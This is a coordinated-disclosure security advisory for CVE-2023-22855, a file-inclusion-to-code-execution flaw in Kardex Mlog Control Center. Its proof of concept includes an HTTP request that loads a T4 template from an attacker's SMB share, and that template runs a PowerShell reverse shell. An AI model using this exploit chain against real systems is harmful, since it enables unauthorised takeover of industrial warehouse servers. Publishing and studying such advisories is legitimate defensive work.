Remote Code Execution in Kardex MLOG

   Product: Kardex Mlog MCC  
     Vendor: Kardex Holding AG  
  Tested Version: 5.7.12+0-a203c2a213-master  
     Fixed Version: inline patch - no new version number  
     Vulnerability Type: Improper Control of Generation of Code ("RFI") - CWE-94  
 CVSSv2 Severity: AV:A/AC:L/Au:N/C:C/I:C/A:C - Score 8.3  
        CVSSv3 Severity: AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H Score 9.6  
        Solution Status: fixed  

Manufacturer Notification: 2022-12-13
Solution Date: 2023-01-24
Public Disclosure: 2023-02-07
CVE Reference: CVE-2023-22855
Authors of Advisory: Patrick Hener & Nico Viakowski

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Vendor description[1]

Kardex Mlog’s modular software solution Kardex Control Center manages material
flow and warehouse management processes faster and more efficiently.

From manual block warehouse and interface networking with intelligent partner
systems to an automated intralogistics system connected to production lines and
driverless vehicles, intelligent energy management for the automated stacker
cranes and modern system visualization, the Kardex Control Center modules offer
flexible solutions for your warehouse management.

Vulnerability Details

The .NET based software spawns a web interface listening on port 8088.
This interface is meant to control and monitor the material flow.

The user controllable path is handed to a path concatenation function
(Path.Combine) without proper sanitization. This yields the possibility to
include local files, as well as remote files (SMB). The path is used in a
function called getFile.

The following code snippet shows the vulnerable part of this function:

public MccHttpServerResult GetFile(string path, string acceptEncoding, string queryString = null)  
  {  
    MccHttpServerResult result4;

[... snip ...]

else  
{  
  string getfileName = (path == "/") ? "index.html" : path.Substring(1).Replace("/", Path.DirectorySeparatorChar.ToString(CultureInfo.InvariantCulture));  
  string fileName = Path.Combine(this.RootDirectory(), getfileName);  
  string originalFileName = fileName;  

The .Net function Path.Combine also is able to concatenate remote targets. For
example using \\ipaddress you can include files from a remote samba server.

Further down the request flow, the application is checking for the MIME type of
the file retrieved.

Depending on the MIME type the content is either sent through a
import/export procedure or rendered as mono/t4 template. The function
getMimeType will return t4 if the included file is ending with an extension
of .t4.

This is where the File Inclusion can be escalated to a Remote Code Execution.
The mono/t4 templating engine allows the use of C# to evaluate code.
This enables an attacker to gain code execution and eventually spawn a reverse
shell.

bool flag15 = File.Exists(fileName);  
  if (flag15)  
    {  
    using (FileStream f = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.ReadWrite))  
    {  
      byte[] bytes = new byte[f.Length];  
      f.Read(bytes, 0, bytes.Length);  
      bool flag16 = mime2 == "t4";  
      if (flag16)  
        {  
          return this.runTemplatingEngine(bytes, responseHeaders, queryString);  
        }  

Proof of Concept (PoC)

The following request will include a remote file from an smb share. For this to
work the attacker has to spawn an smb server (for example using smbserver.py
from Impacket[2]).

GET /\\attacker-ip/share/exploit.t4 HTTP/1.1  
Host: vulnerable.host.internal:8088  
Content-Type: text/html  
User-Agent: curl/7.86.0  
Accept: */*  
Connection: close  

The exploit.t4 looks like this:

<#@ template language="C#" #>  
<#@ Import Namespace="System" #>  
<#@ Import Namespace="System.Diagnostics" #>

Proof of Concept - SSTI to RCE  
RCE running ...

<#  
var proc1 = new ProcessStartInfo();  
string anyCommand;  
anyCommand = "powershell -e revshell-base64-blob";

proc1.UseShellExecute = true;  
proc1.WorkingDirectory = @"C:\Windows\System32";  
proc1.FileName = @"C:\Windows\System32\cmd.exe";  
proc1.Verb = "runas";  
proc1.Arguments = "/c "+anyCommand;  
Process.Start(proc1);  
#>

Enjoy your shell, good sir :D  

The exploit above will execute cmd.exe and launch a powershell to execute
a reverse shell. You can easily generate a reverse shell blob using
revshells.com[3].

A full exploit spawning a reverse shell was created[4].

Solution

The user supplied data should be sanitized before using it in the Path.Combine
function.

Disclosure Timeline

2022-12-13: Vulnerability discovered
2022-12-13: Vulnerability reported to manufacturer
2023-01-24: Solution provided by manufacturer
2023-02-07: Public disclosure of vulnerability

References

[1] Vendor Website:https://www.kardex.com/en/mlog-control-center
[2] Impacket Git Repository:https://github.com/SecureAuthCorp/impacket
[3] Reverse Shell Generator:https://www.revshells.com/
[4] Exploit on Exploit-DB (tbd):https://www.exploit-db.com/exploits/xxxxx
[5] Blog Post Advisory:https://hesec.de/posts/cve-2023-22855
[6] Personal Github Repo for Advisory:https://github.com/patrickhener/CVE-2023-22855
[7] Blog Post Thinking Objects:https://to.com/blog/advisory-kardex-mlog-CVE-2023-22855

Credits

This security vulnerability was found by Patrick Hener and Nico Viakowski.

E-Mail:[email protected]
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Disclaimer

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and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible.

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